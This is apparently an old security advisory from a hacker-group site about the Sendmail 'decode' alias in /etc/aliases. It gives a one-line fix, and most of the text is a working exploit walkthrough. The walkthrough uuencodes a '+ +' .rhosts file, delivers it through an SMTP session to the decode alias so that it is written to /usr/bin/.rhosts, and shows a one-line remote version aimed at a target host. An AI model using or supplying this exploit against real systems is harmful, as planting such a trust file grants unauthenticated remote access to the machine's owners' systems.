..:-={{Collaborative Security Information Center}}=-:..
X-TREME & TECHNOTRONIC Security Collaboration Project
http://www.technotronic.com -=©=- http://www.x-treme.abyss.com
Problem: /etc/aliases sometimes contains: decode: |/usr/bin/uudecode
Just comment it out.
% cat > outfile # Lets make our .rhosts file
+ +
^C
% uuencode outfile /usr/bin/.rhosts
begin 644 /usr/bin/.rhosts
$*R`K"@``
`
end
% telnet 127.1 25
Trying 127.0.0.1...
Connected to 127.1.
Escape character is '^]'.
220 fred Sendmail 5.64/zippy-1.22.01 ready at Mon, 24 Jul 95 09:34:12
-0400 (GMT)
helo
250 fred Hello (localhost), pleased to meet you # Howz it hangin?
mail from: bin
250 bin... Sender ok
rcpt to: decode
250 decode... Recipient ok
data
354 Enter mail, end with "." on a line by itself
begin 644 /usr/bin/.rhosts # just type our uuencoded + +
$*R`K"@``
`
end
.
250 Ok
quit
221 fred closing connection
Connection closed by foreign host.
% ls -al /usr/bin/.rhosts
-rw-r--r-- 1 bin 4 Jul 24 09:34 .rhosts
This is the same as:
% echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com